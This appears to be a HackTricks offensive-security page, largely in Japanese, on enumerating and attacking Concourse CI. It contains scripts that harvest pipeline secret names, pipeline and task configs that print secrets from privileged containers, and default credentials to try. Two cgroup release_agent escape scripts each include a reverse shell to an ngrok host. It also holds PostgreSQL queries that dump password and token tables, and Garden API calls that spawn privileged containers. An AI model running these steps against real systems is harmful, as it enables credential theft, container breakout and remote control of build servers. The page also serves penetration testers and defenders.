Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

Support HackTricks

User Roles & Permissions

Concourseには5つの役割があります:

  • Concourse Admin: この役割はメインチーム(デフォルトの初期concourseチーム)の所有者にのみ与えられます。管理者は他のチームを構成できます(例:fly set-teamfly destroy-team...)。この役割の権限はRBACによって影響を受けません。

  • owner: チームの所有者はチーム内のすべてを変更できます。

  • member: チームメンバーはチームの資産内で読み書きできますが、チーム設定を変更することはできません。

  • pipeline-operator: パイプラインオペレーターはパイプライン操作(ビルドのトリガーやリソースのピン留めなど)を実行できますが、パイプライン設定を更新することはできません。

  • viewer: チームのビューワーはチームとそのパイプラインに**「読み取り専用」アクセス**を持っています。

さらに、owner、member、pipeline-operator、viewerの役割の権限はRBACを設定することで変更可能です(具体的にはそのアクションを設定します)。詳細については、https://concourse-ci.org/user-roles.htmlを参照してください。

Concourseはパイプラインをチーム内にグループ化します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、複数のチームが存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。

Vars & Credential Manager

YAML設定では、((_source-name_:_secret-path_._secret-field_))という構文を使用して値を設定できます。 ドキュメントから: source-nameはオプションであり、省略した場合はクラスター全体の資格情報マネージャーが使用されるか、値が静的に提供される場合があります。 オプションの_secret-fieldは、取得した秘密のフィールドを読み取るために指定されます。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。 さらに、_secret-pathsecret-field_は、:のような特殊文字を含む場合、二重引用符"..."で囲むことができます。たとえば、((source:"my.secret"."field:1"))は、_secret-path_をmy.secretに、_secret-field_をfield:1に設定します。

Static Vars

静的変数はタスクステップで指定できます:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Or using the following fly arguments:

  • -v or --var NAME=VALUE は、文字列 VALUE を var NAME の値として設定します。

  • -y or --yaml-var NAME=VALUE は、VALUE を YAML として解析し、var NAME の値として設定します。

  • -i or --instance-var NAME=VALUE は、VALUE を YAML として解析し、インスタンス var NAME の値として設定します。インスタンス var について詳しくは Grouping Pipelines を参照してください。

  • -l or --load-vars-from FILE は、var 名と値のマッピングを含む YAML ドキュメント FILE を読み込み、すべてを設定します。

Credential Management

パイプラインで Credential Manager を指定する方法 はいくつかあります。詳細は https://concourse-ci.org/creds.html をお読みください。 さらに、Concourse はさまざまな Credential Manager をサポートしています:

Concourse への書き込みアクセス権がある場合、これらの秘密を外部に持ち出すためのジョブを作成できることに注意してください。Concourse はそれらにアクセスできる必要があります。

Concourse Enumeration

Concourse 環境を列挙するには、まず 有効な資格情報を収集する か、.flyrc 設定ファイルにある 認証トークンを見つける 必要があります。

Login and Current User enum

  • ログインするには、エンドポイントチーム名(デフォルトは main)、および ユーザーが所属するチームを知っている必要があります:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • 設定された ターゲット を取得:

  • fly targets

  • 設定された ターゲット接続 がまだ 有効 かどうかを確認:

  • fly -t <target> status

  • 指定されたターゲットに対するユーザーの 役割 を取得:

  • fly -t <target> userinfo

API トークンはデフォルトで $HOME/.flyrc保存 されます。マシンを略奪する際に、そこに資格情報が見つかる可能性があります。

Teams & Users

  • チームのリストを取得:

  • fly -t <target> teams

  • チーム内の役割を取得:

  • fly -t <target> get-team -n <team-name>

  • ユーザーのリストを取得:

  • fly -t <target> active-users

Pipelines

  • パイプラインのリスト:

  • fly -t <target> pipelines -a

  • パイプラインの YAML を 取得機密情報が定義に含まれている可能性があります):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • すべてのパイプライン 設定された変数 を取得:

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • 使用されているすべての パイプラインの秘密の名前 を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、外部に持ち出すことができます):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

コンテナとワーカー

  • ワーカーのリスト:

  • fly -t <target> workers

  • コンテナのリスト:

  • fly -t <target> containers

  • ビルドのリスト(実行中のものを確認するため):

  • fly -t <target> builds

Concourse攻撃

認証情報ブルートフォース

  • admin:admin

  • test:test

シークレットとパラメータの列挙

前のセクションでは、パイプラインで使用されるすべてのシークレット名と変数取得する方法を見ました。変数には機密情報が含まれている可能性がありシークレットの名前は後でそれらを盗むために役立ちます

実行中または最近実行されたコンテナ内のセッション

十分な権限(メンバー役割以上)があれば、パイプラインと役割をリストし、次のコマンドを使用して**/** コンテナ内にセッションを取得できます:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

これらの権限があれば、次のことができるかもしれません:

  • コンテナ内の秘密盗む

  • ノード脱出しようとする

  • クラウドメタデータエンドポイントを列挙/悪用する(ポッドおよびノードから、可能であれば)

パイプラインの作成/変更

十分な権限(メンバー役割以上)があれば、新しいパイプラインを作成/変更することができます。次の例を確認してください:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

新しいパイプラインの変更/作成により、次のことが可能になります:

  • 秘密盗む(それらをエコー出力するか、コンテナ内に入りenvを実行することで)

  • ノード脱出する(十分な権限を与えることで - privileged: true

  • クラウドメタデータエンドポイントを列挙/悪用する(ポッドおよびノードから)

  • 作成したパイプラインを削除する

カスタムタスクの実行

これは前の方法に似ていますが、全く新しいパイプラインを変更/作成する代わりに、カスタムタスクを実行するだけです(おそらくはるかにステルス性が高いでしょう):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

特権タスクからノードへのエスケープ

前のセクションでは、concourseで特権タスクを実行する方法を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープは「複雑」になる可能性があります。

次のPoCでは、いくつかの小さな変更を加えてrelease_agentを使用してエスケープします:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

ご覧の通り、これは単なる通常のrelease_agentエスケープで、ノード内のcmdのパスを変更するだけです。

Workerコンテナからノードへのエスケープ

通常のrelease_agentエスケープに少しの修正を加えるだけで十分です:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Webコンテナからノードへのエスケープ

ウェブコンテナにいくつかの防御が無効になっていても、それは一般的な特権コンテナとして実行されていません(例えば、マウントできず、能力は非常に制限されています。そのため、コンテナからエスケープするための簡単な方法は無駄です)。

しかし、ローカルの資格情報が平文で保存されています

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

その資格情報を使用して、ウェブサーバーにログインし、特権コンテナを作成してノードに脱出することができます。

環境内では、concourseが使用するpostgresqlインスタンスにアクセスするための情報(アドレス、ユーザー名パスワード、およびデータベースなど)も見つけることができます。

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

ガーデンサービスの悪用 - 実際の攻撃ではない

これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません

デフォルトでは、各コンコースワーカーはポート7777でGardenサービスを実行します。このサービスは、ウェブマスターがワーカーに実行する必要があること(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります:

  • それはローカルにのみ公開されています(127..0.0.1)し、ワーカーが特別なSSHサービスでウェブに対して認証するときに、ウェブサーバーが各ワーカー内の各ガーデンサービスと通信できるようにトンネルが作成されると思います。

  • ウェブサーバーは数秒ごとに実行中のコンテナを監視しており予期しないコンテナは削除されます。したがって、カスタムコンテナを実行したい場合は、ウェブサーバーとガーデンサービス間の通信を改ざんする必要があります。

コンコースワーカーは高いコンテナ特権で実行されます:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

しかし、ノードの/devデバイスやrelease_agentをマウントするような技術は機能しません(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。

前のセクションでは、特権コンテナから脱出する方法を見ましたので、もし現在の ワーカーによって作成された特権コンテナでコマンドを実行できるなら、ノードに脱出できるかもしれません。

concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。

実行中の特権コンテナに入る

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

新しい特権コンテナの作成

ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

しかし、ウェブサーバーは数秒ごとに実行中のコンテナをチェックしており、予期しないコンテナが発見されると削除されます。通信がHTTPで行われているため、予期しないコンテナの削除を回避するために通信を改ざんすることができます:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

参考文献

  • https://concourse-ci.org/vars.html

HackTricksをサポートする

Last updated